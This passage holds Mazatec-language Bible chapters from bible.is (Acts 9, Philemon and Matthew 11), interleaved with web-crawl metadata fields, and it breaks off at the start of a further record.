na̱xi̱ndá Damasco tíjnaá jngo xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús ra 'mì Ananías; tsatsíjen tsijeén‑la̱ nga kiìchja̱‑la̱ Nainá koni tsa tí'bì‑la̱ nijñá, nga kitsò‑la̱: ―¡Ananías! Ko̱ kiìchja̱á jè Ananías, kitsò: ―Ko̱'tín‑ná Na̱'ìn mé ra mejèn‑li. 11Jè Na̱'ín‑ná kitsó‑la̱: ―Ti̱sítji̱in, 'tin jè ndi̱yá ra 'mì Ndi̱yá Kixi̱, ya̱ ni'ya‑la̱ Judas; tjatsji jngi xi̱ta̱ ra 'mì Saulo ra ya̱ i̱'nde‑la̱ ya̱ na̱xi̱ndá Tarso. Nga̱ 'ndi̱ 'ndi̱, tíbítsa'ba‑ní, 12ko̱ ijyeé kàbatsíjen tsijen‑la̱ koni tsa tí'bì‑la̱ nijñá nga jngo xi̱ta̱ ra 'mì Ananías tí'faha'sen ni'ya‑la̱ nga tíbásòn‑la̱ tsja nga kamanda‑ni ko̱ kátjá'xá india‑ni xko̱n. 13Jè Ananías, 'kia̱ nga kií'nchré, kitsó‑ní: ―Na̱'ìn, kjokjín xi̱ta̱ 'béna̱jmí‑na a̱'ta 'tse̱ xi̱ta̱ ra̱kìi̱, nga 'ñó tíbeton jñà xi̱ta̱ tsa̱ji ján Jerusalén. 14Ko̱ kií xá 'ji‑ni skanda i̱jndíi̱, nga̱ ijyeé tsachrje jngo xa̱jo̱n a̱'ta 'tse̱ na̱'mì ítjòn nga jtsa̱ba̱'ñó nga'tsì xi̱ta̱ ra makjiín‑la̱ a̱'ta tsa̱ji. 15Jè Nainá kitsó‑la̱ Ananías: ―'Tin; jè xi̱ta̱ ra̱kìi̱, kií xá jahájin‑na nga̱ 'koa̱á 'sín ko̱chjeén‑na nga jè ki̱chja̱ ngajo‑na nga tjíjtsa i̱sà'nde ya̱ ngixko̱n nga'tsì ra mì tsa xi̱ta̱ judío ko̱ ya̱ ngixko̱n ra xi̱ta̱xá ítjòn títsa̱hijyo; ti̱'koa̱ ki̱chja̱‑la̱ jñà xi̱ta̱ na̱xi̱ndá Israel. 16'A̱án kokon ijye‑la̱ kjo̱hi'in ra 'ñó tse si̱ìkjiín ra ta nga̱tjì‑la̱ nga a̱'ta tsa̱'a̱n si̱íxá. 17Jè Ananías kijí ñánda̱ nga tíjna Saulo; 'jaha'sen ni'ya. Tsakásòn‑la̱ tsja, kitsó‑la̱: ―Ji̱ 'ndsé Saulo, jè Na̱'ín‑ná Jesús ra kiìchja̱‑li ya̱ a̱ya ndi̱yá 'kia̱ nga tjinchrabí i̱jndíi̱, jè kàsíkasén‑na nga ko̱tsíjen india‑li ti̱'koa̱ mé‑ni nga si̱jin‑ni ya̱ inìma̱‑li jè Inìma̱ Tsje‑la̱ Nainá. 18Jè Saulo, ndi̱to̱ón itjahíxìn‑ila̱ xko̱n ra koni kjòn xo̱sken kjòn. A̱kjòn tsatsíjen india‑ila̱. 'Kia̱á tsasítje̱n‑nì, ko̱ a̱kjòn isatíndá. 19Jè Saulo, tsakjén‑ní; a̱kjòn ki'se india‑ila̱ nga'ñó ijo‑la̱. Kjín ni̱chjin tsikijna ya̱ Damasco. Ya̱á tsikijnako̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús. 20Jè Saulo tsikí'tsia̱‑ní nga tsi'kéna̱jmíya ra a̱'ta 'tse̱ Jesús ya̱ nga'tsì ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío; 'koa̱á 'sín kitsò nga jè Jesús, jé ra I'ndí‑la̱ Nainá. 21Nga'tsì xi̱ta̱ ra kií'nchré‑la̱ tà kjóxkón‑la̱; kitsó‑la̱ xákjién: ―¿A mí tsa jè xi̱ta̱ ra̱kìi̱ ra mahatji̱ngi‑la̱ jñà xi̱ta̱ ra makjiín‑la̱ a̱'ta 'tse̱ Jesús ya̱ ján Jerusalén? Ko̱, ¿a mí tsa ti̱'koa̱ ki xá 'ji‑ni i̱jndíi̱ nga nda̱yá i̱ko̱ ijye xi̱ta̱‑la̱ Jesús, a̱kjòn si̱ìnga̱tsja jè na̱'mì ítjòn? 22Tanga jè Saulo, isa̱á 'ñó ki'se‑la̱ nga'ñó inìma̱‑la̱ nga tsi'kéna̱jmíya. Skanda jñà xi̱ta̱ judío ra títsa̱jna Damasco mì kì isakò‑la̱ kó ki̱tso̱ 'én ra koa̱ako̱ koni 'sín bakón‑ya nga ngi 'én kixi̱‑ní nga jè Jesús, jé‑ní ra Cristo [ra xá isìkasén‑ni Nainá]. 23'Kia̱ nga ijye kjìn ni̱chjin tsato, jñà xi̱ta̱ judío tsajo̱óya‑ni nga si̱ì'ken jè Saulo. 24Tanga jè Saulo kií'nchré‑ní koni 'sín nga tsajo̱óya‑ni nga jñà xi̱ta̱ judío ko̱ ni̱chjin ko̱ ni̱tje̱n isikìnda̱ nga tsikitsa̱jnajto ya̱ xo̱tjo̱ba̱‑la̱ na̱xi̱ndá ñánda̱ bitjàha̱'se̱n‑jin‑ná nga mejèn‑la̱ si̱ì'ken. 25Tanga jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Saulo, 'kia̱á kiìko̱ 'kia̱ nga ni̱tje̱n; jngo ndi̱si̱yá ra je 'kioo̱ isíkíjnaya; a̱kjòn kiskanì'sen‑kjá ñánda̱ nga ti̱'xá chiba jè chrjó ra tjíchjàndi‑la̱ ya̱ na̱xi̱ndá ko̱ a̱kjòn ya̱á iskanijen‑jno‑ni, mé‑ni nga ma jahachinga. 26Jè Saulo, 'kia̱ nga ijchò‑ni ján Jerusalén, mején‑la̱ nga ya̱ ko̱hijtako̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús, tanga nga'tsiòo̱, ta itsakjón‑la̱; nga̱ mì kì kjokjiín‑la̱ tsa kixi̱í kjoa̱ nga ti̱'koa̱ ijye ya̱ kotá'yá'ta‑la̱ Jesús. 27Tanga jè Bernabé kiìko̱ ñánda̱ nga títsa̱jna xi̱ta̱ ra tsikíxáya‑la̱ Jesús. Tsi'kéna̱jmí‑la̱ nga ijyeé jahatjìya‑la̱ 'kia̱ nga kijtse Na̱'ín‑ná Jesús, ti̱'koa̱á kiìchja̱ sabá‑la̱ ya̱ a̱ya ndi̱yá 'kia̱ nga tífì ján Damasco; ti̱'koa̱á tsi'kéna̱jmí‑la̱ nga ján Damasco 'ñó nda kiìchja̱ a̱'ta 'tse̱ Jesús, nga mì kì itsakjòn. 28Saulo, ya̱á tsikijnako̱ jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesús; ya̱á tsajmekó ya̱ Jerusalén. Mì kì itsakjòn nga kiìchja̱ya a̱'ta 'tse̱ Jesús. 29'Ñó kiìchja̱ko̱ jñà xi̱ta̱ judío ra 'én griego chja̱ nga tsajo̱ókjo‑ko̱ xákjién; tanga jñà xi̱ta̱ kìi̱ mején‑la̱ nga si̱ì'ken jè Saulo. 30Jñà xi̱ta̱ ra makjiín‑la̱ a̱'ta 'tse̱ Jesús, 'kia̱ nga kií'nchré 'én kìi̱, ya̱á kiìko̱ Saulo ján Cesarea, a̱kjòn isìkasén skanda ñánda̱ 'mì Tarso. 31Nga'tsì xi̱ta̱ na̱xi̱ndá‑la̱ Cristo, 'nchán tsikìtsa̱hijyo ya̱ nga'tsì na̱xi̱ndá ra chja̱‑ni Judea, ya̱ Galilea ko̱ Samaria; mì ti̱ mé kjo̱si ki'se‑nì. Ko̱ isa̱á nda ki'se‑isa‑la̱ nga'ñó inìma̱‑la̱ ko̱ ndaá kijtsexkón Na̱'ín‑ná; jè Inìma̱ Tsje‑la̱ Nainá isa̱á nda tsasìko̱ nga kjokjìn‑ya‑isa xi̱ta̱‑la̱ Cristo. 32Jè Pedro, 'kia̱ nga tsá'ba ya̱ i̱'nde ra̱kiòo̱, kiìjkoón‑te jñà xi̱ta̱‑la̱ Cristo ra títsa̱jna ya̱ na̱xi̱ndá Lida. 33Ya̱á tíjna jngo xi̱ta̱ ra 'mì Eneas; ijyeé tjín‑la̱ jin nó nga kjijna kiya. Jè tjín‑la̱ 'chin ra mì kì ma síjtiya ijo‑la̱. 34Pedro kitsò‑la̱: ―Eneas, jè Jesucristo tísínda‑ili. Ti̱sítji̱in, tíxkóyi jè nijña‑li. Jè Eneas, ndi̱to̱ón tsasítje̱n‑ni. 35Nga'tsì xi̱ta̱ ra títsa̱jna ya̱ na̱xi̱ndá Lida ko̱ Sarón, kijtseé jè Eneas nga tsajme‑ni, ko̱ kjokjiín‑la̱ ra a̱'ta 'tse̱ Na̱'ín‑ná Jesús. 36Ya̱ na̱xi̱ndá ra 'mì Jope tíjnaá jngo chjo̱ón ra ti̱'koa̱ tíkotá'yá'ta‑la̱ Jesús; jè chjo̱ón ra̱kìi̱, Tabita 'mì. 'Kia̱ nga 'én griego, Dorcas 'mì jè chjo̱ón ra̱kìi̱. 'Ñó nda xi̱ta̱ ti̱'koa̱á nda basìko̱ jñà ndí xi̱ta̱ i̱ma̱ ra mì mé tjín‑la̱. 37Jñà ni̱chjin kìi̱ jè chjo̱ón ra̱kìi̱, kjokiya‑ní ko̱ a̱kjòn 'ken. 'Kia̱ nga ijye isiníjno ijo‑la̱, jñà xi̱ta̱ ya̱á kisíkájnaya ya̱ a̱ya ni'ya ra ma‑ni jò nga kjijnasòn'nga. 38Jè na̱xi̱ndá Lida chraña'tá kjijna‑la̱ ya̱ na̱xi̱ndá Jope. Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús kií'nchré‑ní nga ya̱ tíjna jè Pedro ya̱ Lida. Isìkasén jò xi̱ta̱ 'xi̱n ra kiì kítsa'ba‑la̱, nga kitsò‑la̱: ―Ndi̱to̱n nchrabí ñánda̱ nga titsa̱hijyo‑ji̱n. Kì tà chjàn 'ñó fichjin‑li. 39'Kia̱ nga iska'ta‑la̱ kjo̱hixi̱ jè Pedro, ndi̱to̱ón kiìko̱ nga tsakáhijtako̱ jñà xi̱ta̱ kìi̱; 'kia̱ nga ijchò ya̱ Jope, ya̱á kiìko̱ jñà xi̱ta̱ ya̱ ni'ya ñánda̱ nga kjijna jè ndí mi'ken chjo̱ón. Nga'tsì ndí íchjín ra ijye 'ken 'xi̱n‑la̱, tsincha jngo tjandi‑la̱ Pedro nga i̱nchikjindáyake ko̱ tsakón‑la̱ jñà jch'ó ko̱ na̱chro̱ ra tsikínda Dorcas 'kia̱ nga tíjnakon‑isa. 40Jè Pedro tsachrje ijyeé ni'ya jñà xi̱ta̱ ra ya̱ tjíhijyo; a̱kjòn tsasèn-xkó'nchi, kiìchja̱'ta‑la̱ Nainá; isko'án jè ndí mi'ken chjo̱ón, kitsò‑la̱: ―¡Tabita, ti̱sítji̱in! Jè ndí chjo̱ón ra kjijna mi'ken, iskí'xa̱ngií‑ni xko̱n. 'Kia̱ nga kijtse Pedro, tsikijna kixi̱‑ni. 41A̱kjòn jè Pedro kitsabá'ñó tsja nga isìkasítje̱n; 'kia̱á kiìchja̱‑la̱ xi̱ta̱‑la̱ Cristo ko̱ jñà íchjín ra ijye 'ken 'xi̱n‑la̱; tsakón‑la̱ Dorcas nga ijyeé tíjnakon‑ni. 42Jè kjo̱xkón ra̱kìi̱ ina'yá ijyeé‑la̱ kó tíjngo ya̱ Jope; kjín xi̱ta̱ kjokjiín‑la̱ a̱'ta 'tse̱ Na̱'ín‑ná Jesús. 43Jè Pedro, kjín ni̱chjin tsikijna ya̱ na̱xi̱ndá Jope ya̱ ni'ya‑la̱ xi̱ta̱ ra 'mì Simón ra síxáko̱ chrja̱ba̱ cho̱.\nHechos 9","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/9","date":"2013-12-10T02:47:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164005827\/warc\/CC-MAIN-20131204133325-00000-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000071526,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.000007152557373}","num_words":1228,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.324,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ji̱ Filemón xi ndaà matsjake̱‑lè xi ngásòn xá‑la̱ Na̱'èn‑ná titsa̱'né, 'a̱n Pablo nga nda̱yá tìjna̱a'ya k'oi̱í kjoa̱‑la̱ nga xá‑la̱ Cristo tìs'iaàn, tisìhixat'aà‑lè ko̱ 'ndsè Timoteo. 2Ti̱koa̱á tisìhixat'aà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi ya̱ bixoña ni'ya‑lè ko̱ tichjaá Apia ko̱ 'ndseé Arquipo xi ti̱koa̱ xá‑la̱ Nainá nchikjaán‑tji koni 'a̱n. 3Nainá xi Na̱'èn‑ná, ko̱ jè Jesucristo xi otíxoma‑ná kàtatsjá‑nò kjo̱ndaà ko̱ kjoa̱'nchán ya̱ i̱jiìn ini̱ma̱‑nò. 4K'e̱ nga chjàt'aà‑la̱ Nainá, kjit'aà na̱chrjein sìkítsjeèn i̱t'aà tsi̱ji, k'oa̱á ma‑ne nga tsjaà‑la̱ kjo̱ndaà Na̱'èn‑ná, 5Koií kjoa̱‑la̱ nga jyeé ki'nchrè nga ndaà mokjeiín‑lè i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo ti̱koa̱ ndaà matsjachi ngats'iì xi̱ta̱‑la̱ Nainá. 6K'oa̱á s'ín sìjét'aà‑la̱ Nainá nga ndaà ki̱tasòn koni s'ín nokjoàkoi̱i xi̱ta̱ xi i'nga i̱t'aà ts'e̱ kjoa̱ xi mokjeiín‑lè mé‑ne nga ìsa̱ ndaà jcha̱xkoin ngats'iì kjo̱ndaà xi ko̱ma si̱kitasoán i̱t'aà ts'e̱ Cristo. 7Ji̱ ndí 'ndsè, 'ñó tsja ma‑na ko̱ ma'ñó takoàn i̱t'aà ts'e̱ kjoa̱tjòcha xi tjín‑lè, nga i̱t'aà tsi̱ji‑né, nga jye ndaà tìnìjetakoìn ini̱ma̱‑la̱ jñà xi̱ta̱‑la̱ Nainá. 8K'oa̱á ma‑ne na̱s'ín i̱t'aà ts'e̱ Cristo tjí'nde‑na̱ nga kìnè‑lè mé kjoa̱ xi s'i̱in, ta̱nga mìtsà ko̱s'ín tìbìt'in‑lè. 9Ta jngoò kjo̱ndaà tísíjé‑lè, nga̱ tíjiìn‑ná nga tjòcha 'yaá xinguia̱á. Ko̱ jyeé tíjiìn‑lè, 'a̱n Pablo, jyeé xi̱ta̱ jchínga‑ná, ti̱koa̱ nda̱yá tìjna̱a'ya xi jè nga̱tjì‑la̱ Cristo Jesús. 10K'oa̱á ma‑ne nga tísíjé jngoò‑lè kjo̱ndaà nga ndaà chjoétjoì jè Onésimo xi koni ki'ndí‑na̱ komà nga kòkjeiín‑la̱ 'én ndaà‑la̱ Nainá xi 'a̱n tsibeno̱jmí‑la̱ nga i̱ tìjna̱a'ya nda̱yá. 11Nga sa̱ kjòtseé, jè Onésimo, jngoò xi̱ta̱ chi̱'nda xi mìkiì ndaà kjòchjeén‑lè, ta̱nga i̱'ndei̱ jyeé ndaà ko̱chjeén‑ná ingajoá. 12Tìsìkasén ìjngoò k'a‑lè, 'a̱n nga 'ñó matsjake̱. 13Ndaá‑la s'e̱ tsà i̱ kíjnako̱‑na mé‑ne nga si̱ìchját'aà‑na koni tsà ji̱ tìnìchját'aà‑ná, k'e̱ nga ta̱kó nda̱yá tìjna̱a'ya nga jè nga̱tjì‑la̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. 14Ta̱nga majìn‑na nga kjo̱'ñó siìkíjna tsà ngaji̱ mìkiì tíjngoò takoìn, mé‑ne jè kjo̱ndaà xi tìsìjé‑lè mì kjo̱'ñó ko̱ma‑lè; ini̱ma̱‑lè kji̱nchrobàjiìn. 15Tsà koi na̱chrjein, jè Onésimo, koií kjoa̱‑la̱ tsasìt'aà xìn chiba na̱chrjein‑lè mé‑ne i̱'ndei̱ ko̱ma chjoétjò ìjngoò k'a‑ne nga ya̱ kíjnako̱ kjit'aà‑lè. 16Ta̱nga kì k'oa̱á s'ín 'ya takoìn koni tsà jngoò xi ta̱xki̱ chi̱'nda; ìsa̱á 'ñó ndaà jcha̱takoìn koni tsà jngoò 'ndsì xi 'ñó ndaà matsjachi. 'A̱n, 'ñó matsjake̱; ta̱nga ngaji̱ ìsa̱á 'ñó ti̱tsjachi mìtsà ta koi kjoa̱‑la̱ nga chi̱'nda tsi̱ji ko̱ma, koi‑né nga jyeé 'ndsè chibà i̱t'aà ts'e̱ Cristo. 17Tsà kixi̱í kjoa̱ nga k'oa̱s'ín 'yatakòn‑ná nga 'ndseé chibá i̱t'aà ts'e̱ Cristo, chjoétjoì Onésimo koni tsà 'a̱n xi tichjoétjò‑ná. 18Tsà tjín mé kjoa̱ xi ch'o kisìko̱‑lè, koa̱ tsà mé xi kitje̱n‑t'in‑lè, 'a̱án ti̱kichjí‑ná. 19'A̱n, Pablo, 'a̱n sobá tìkjiì‑lè xo̱jo̱n jè. 'A̱n kíchjiá yije xi tje̱n‑la̱. Mìkiì mochjeén nga 'a̱n ko̱xán‑lè, jyeé tíjiìn‑lè nga 'a̱án kitje̱n‑t'in‑ná kjoa̱binachon‑lè. 20Ndí 'ndsè, k'oa̱á s'ín tìsìjé‑lè nga kàtasakó jngoò‑na̱ kjo̱ndaà i̱t'aà tsi̱ji, koni s'ín ok'ìn‑la̱ nga 'ndseé chibá i̱t'aà ts'e̱ Na̱'èn‑ná; ti̱je takoìn ini̱ma̱‑na̱ i̱t'aà ts'e̱ Cristo. 21Be‑ná nga sìkitasòn‑né; k'oa̱á ma‑ne nga tìsìkasén‑lè xo̱jo̱n jè; skanda 'beé‑la̱ takoàn, nga ìsa̱á tsatoó s'i̱in koni s'ín tìxan‑lè. 22K'oa̱á ti̱s'ín tìxan‑lè nga ti̱kíjnandaà jngoò‑ná i̱'nde ñánda ma síkjáya. K'oa̱á s'ín tìkoña nga jè Nainá kji̱'nchré‑né koni s'ín titsa̱nokjoàt'aà‑là, nga tsjá'nde‑na nga ko̱ma kjíkon‑nò. 23Tísíhixat'aà‑lè Epafras, xinguia̱á xi ngásòn nda̱yá titsa̱jna‑je̱n nga jè nga̱tjì‑la̱ Cristo Jesús. 24Ti̱koa̱á tísíhixat'aà‑lè Marcos, Aristarco, Demas ko̱ Lucas, xi síchját'aà‑na kjoa̱ ts'e̱ xá xi tìs'iaàn. 25Jè kàtìjnajiìn ini̱ma̱‑nò kjo̱ndaà‑la̱ Jesucristo xi otíxoma‑ná.\nFilemón Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Phlm\/","date":"2013-12-07T05:07:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163053558\/warc\/CC-MAIN-20131204131733-00020-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":41,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":523,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.235,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga jye kitsjaà‑la̱ o̱kixi̱ kós'ín si̱ìxá xi̱ta̱‑la̱ xi tejò ma‑ne xi kota'yàt'aà‑la̱ Jesús, kiìkakóya ko̱ kisìka'bí 'én‑la̱ Nainá ngats'iì na̱xa̱ndá xi tjín ya̱ i̱'nde jè. 2Juan, nga nda̱yá tíjna'ya, kiì'nchré kjoa̱ xi tís'ín Cristo [xi̱ta̱ xi xó kisìkasén‑ne Nainá]. Kisìkasén i'nga xi̱ta̱ xi kota'yàt'aà‑la̱ 3nga kiì kjònangui‑la̱. Kitsò‑la̱: ―¿A ji̱‑né xi Cristo xi tjínè‑lè nga kjoi̱i a xi kj'ei̱í chíña‑la̱je̱n? 4Jesús kitsò‑la̱: ―Tanguió, tèno̱jmí‑là Juan jñà kjoa̱ xi titsa̱'yaà ko̱ xi titsa̱na'yà. 5Jñà xi̱ta̱ xi mìkiì tsejèn‑la̱, jyeé tsejèn‑la̱; jñà xi tsá'yá kjoàn, jyeé ma fì‑ne; jñà xi tíbindojno chrjoa̱ yijo‑la̱, tímatsjeèjno‑ne yijo‑la̱; jñà xi̱ta̱ xi jtayaà, jyeé 'nchré‑ne; ko̱ xi̱ta̱ xi jye k'en, nchifaáyaá‑la̱; koa̱ jñà xi̱ta̱ i̱ma̱, jyeé tís'eno̱jmí‑la̱ 'én ndaà‑la̱ Nainá. 6Mé tà ndaà‑la̱ jè xi̱ta̱ xi nguì jngoò k'a ndaà mokjeiín‑la̱ i̱t'aà ts'a̱n nga nì mé xi o̱si̱jna‑ikòn‑la̱. 7K'e̱ nga jye kiì‑ne xi̱ta̱ xi kota'yàt'aà‑la̱ Juan, tsibíts'ia̱ Jesús nga tsohóko̱ xi̱ta̱ xi i̱t'aà ts'e̱ Juan, kitsò‑la̱: ―¿Mé xi tsanguì chìtsejèn‑là ya̱ i̱'nde i̱t'aà xìn ñánda nangui kixì choòn? ¿A jè tsanguì chìtsejèn‑là jngoò xi̱ta̱ xi yá ína̱xo̱ kji nga tsjìn‑la̱ nga'ñó nga ma síjtìya‑la̱ tjo̱? 8Tsà majìn, ¿mé‑nè xi tsanguì chìtsejèn‑là? ¿A jngoò xi̱ta̱ xi 'ñó ndaà kji nikje‑la̱? Jñà xi̱ta̱ xi 'ñó ndaà kjoàn nikje‑la̱, ya̱á títsa̱jna ya̱ ni'ya‑la̱ xi̱ta̱xá ítjòn. 9¿Mé xá xi tsanguì‑nò? ¿A jè tsanguì chìtsejèn‑là jngoò xi̱ta̱ xi chja̱ ngajo‑la̱ Nainá? O̱kixi̱‑né, k'oa̱á xan‑nò, Juan, ìsa̱á tíjna ítjòn mì k'oa̱à‑ne koni jngoò xi̱ta̱ xi chja̱ ngajo‑la̱ Nainá. 10I̱t'aà ts'e̱ Juan, ya̱á tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: 'A̱án sìkasén ítjòn‑lè xi̱ta̱‑na̱ xi kji̱ko̱ 'én, jè xi koi̱ìndaàya ítjòn‑lè ndi̱yá‑lè. 11O̱kixi̱‑né, ngats'iì xi̱ta̱ xi tjín i̱ i̱sò'nde, ni̱ sa̱á jngoò xi̱ta̱ bitjokàjiìn xi mangásòn koni jè Juan xi kis'iìn bautizar xi̱ta̱; ta̱nga ya̱ i̱jiìn na̱xa̱ndá ñánda otíxoma jè xi ngajmiì nchrobá‑ne, jè xi̱ta̱ xi fehet'aà‑ne, ìsa̱á jeya tíjna mì k'oa̱á‑ne koni Juan. 12'Tje̱n‑ne nga j'i̱ Juan xi kis'iìn bautizar xi̱ta̱, jè kjo̱tíxoma‑la̱ ngajmiì, tse kjoa̱siì tísakó‑la̱ skanda na̱chrjein i̱'ndei̱; jñà xi̱ta̱ ts'e̱n mejèn‑la̱ nga kàtachija kjo̱tíxoma. 13Ngats'iì xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá ko̱ xo̱jo̱n ts'e̱ kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés, tà 'én j'iìko̱ skanda k'e̱ nga j'iì Juan xi kis'iìn bautizar xi̱ta̱. 14Tsà mokjeiín‑nò koni tsò jè kjo̱tíxoma ko̱ xi̱ta̱ xi kiìchja̱ya ti̱koa̱á ko̱kjeiín‑nò nga jè Juan, jè‑né xi̱ta̱ xi 'mì Elías xi tjínè‑la̱ nga kjoi̱í. 15Ndaà ti̱ná'yaà koni xan‑nò. 16'¿Yá xi siìngásòn‑koa̱a jñà xi̱ta̱ xi tjín na̱chrjein i̱'ndei̱? Jñà ko̱ngásòn‑kjoò jñà i̱xti xi bìtsa̱jna ndi̱tsi̱n nga síská, chja̱‑la̱ xíkjín, tsò‑la̱: 17\"Kànìkjaneé‑nòje̱n xo̱bí ta̱nga jñò, mìkiì kàchà; kàjndaá‑nòje̱n sò xi ba tsò ta̱nga jñò, mìkiì kàchìhindáyaà.\" 18K'e̱ nga j'iì Juan, mìtsà 'ñó tsakjèn, ni̱ mì xán kits'iì, koa̱ jñò bixón‑nò: \"Ini̱ma̱ ch'o‑la̱ nei̱í tjín‑la̱.\" 19I̱kjoàn j'ia̱a xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱; ma‑na kje̱en, ti̱koa̱ ma‑na 'bia̱a; jñà xi̱ta̱ tsò‑né: xi̱ta̱ chrjá'a‑né, xi̱ta̱ ch'i̱‑né, amigo‑la̱‑né jñà xi̱ta̱‑la̱ xi̱ta̱xá Roma xi síkíchjítjì tsojmì ko̱ jñà xi xi̱ta̱ jé. Ta̱nga jè kjoa̱chji̱ne̱‑la̱ Nainá, 'yaá‑la̱ nga kixi̱ tjín k'e̱ nga jye bitasòn. 20Jesús k'e̱é tsibíts'ia̱ nga tsohótiko̱ ngats'iì xi̱ta̱ na̱xa̱ndá ñánda nga kjìn kjo̱xkón‑ndaà kis'iìn, koií kjoa̱‑la̱ nga jñà xi̱ta̱ xi ya̱ i̱'nde‑la̱ mìkiì kisìkájno jé‑la̱ nga tákó jé nchihótsji. Kitsò‑la̱: 21―¡I̱ma̱ xó‑nò jñò, xi̱ta̱ na̱xa̱ndá Corazín! ¡I̱ma̱ xó‑nò jñò, xi̱ta̱ na̱xa̱ndá Betsaida! Tsà ya̱‑làne na̱xa̱ndá Tiro ko̱ Sidón nga k'oa̱s'ín kis'iaàn kjo̱xkón xi ndaà tjín xi komà ya̱ i̱jiìn na̱xa̱ndá tsa̱jòn, tsà jñà xi̱ta̱ Tiro ko̱ Sidón kijtseè, jyeé‑la nikje naxá íkjá ko̱ chijo ni'ín kisìkaàjno sko̱ koni seña nga jye kisìkájno kjoa̱ ts'e̱ jé‑la̱, mì ti̱ jé ótsji‑ne. 22Ta̱nga k'oa̱á xán‑nò, k'e̱ nga jè na̱chrjein nga si̱ndaàjiìn, ìsa̱á tse kjo̱'in s'e̱‑nò mì k'oa̱á‑ne koni jñà xi̱ta̱ na̱xa̱ndá Tiro ko̱ Sidón. 23Koa̱ jñò xi xi̱ta̱ na̱xa̱ndá Capernaum tsa̱jòn, ¿a k'oa̱á s'ín mokjeiín‑nò nga jcha̱xkón‑nò ján ngajmiì? Majìn, ya̱á ki̱tsa̱jnajñoò i̱'nde ñánda tjín kjo̱'in. Tsà ya̱á‑làne na̱xa̱ndá Sodoma k'oa̱s'ín komà kjo̱xkón xi komà tsa̱jòn, jè na̱xa̱ndá Sodoma tákó kijnaá‑la skanda na̱chrjein i̱'ndei̱. 24K'oa̱á xán‑nò, k'e̱ nga ki̱jchò na̱chrjein nga si̱ndaàjiìn, ìsa̱á tse kjo̱'in s'e̱‑nò mì k'oa̱á‑ne koni jñà xi̱ta̱ na̱xa̱ndá Sodoma. 25Jñà na̱chrjein koi Jesús kitsò: ―Na̱'èn xi tsi̱ji ngajmiì ko̱ tsi̱ji i̱sò'nde, jeya síkíjna‑lè nga jñà kjoa̱ koi tsibì'ma‑la̱ jñà xi̱ta̱ xi tjín‑la̱ kjoa̱chji̱ne̱ ko̱ xi 'ñó tjín‑la̱ kjo̱hítsjeèn nga jñà tsakoò‑la̱ xi ta̱xki̱ ndí xi̱ta̱ i̱ma̱ kjoa̱. 26Jon, Na̱'èn, nga k'oa̱á s'ín kjòmejèn‑lè. 27'Ngats'iì kjoa̱ ts'e̱ kjo̱tíxoma, 'a̱án kisìnga̱tsja‑na Na̱'èn‑na̱. Mìtsà yá xi beèxkon yá‑né xi Ki'ndí‑la̱ ma, ta̱jngoò jè xi Na̱'èn ma; ti̱koa̱á mìtsà yá xi beèxkon yá‑né xi Na̱'èn ma, ta̱jngoò jè xi Ki'ndí‑la̱ beèxkon; ko̱ jè Ki'ndí‑la̱ ko̱kò‑la̱ jñà xi̱ta̱ xi jè mejèn‑la̱ nga skoe̱xkon, yá‑né xi Na̱'èn ma. 28Nchrobáchón‑ná ngats'ioò xi jye ijta‑nò nga nìxá ko̱ nga kich'àjen ch'á‑nò, 'a̱án síkjáya‑nò. 29Jch'a̱jen‑ko̱‑ná jè yá i̱bo̱ xi 'a̱n 'yajen mé‑ne nga ko̱ma‑nò ko̱s'ín s'e̱en koni s'ín s'iaàn 'a̱n. K'oa̱s'ín t'e̱en koni 'a̱n nga tjín‑na kjoa̱tsejta ko̱ indaá kjoa̱ tjín ini̱ma̱‑na̱. K'oa̱s'ín sakó‑nò kjoa̱ nìkjáya ts'e̱ ini̱ma̱‑nò. 30Jè yá i̱bo̱ ko̱ ch'á xi 'a̱n sik'àje̱n‑nò, jna̱‑né, mìtsà 'ñó i'í.\nSan Mateo 11","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/11","date":"2013-12-11T04:27:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164030978\/warc\/CC-MAIN-20131204133350-00041-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":29,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":799,"character_repetition_ratio":0.066,"word_repetition_ratio":0.01,"special_characters_ratio":0.236,"stopwords_ratio":0.324,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè 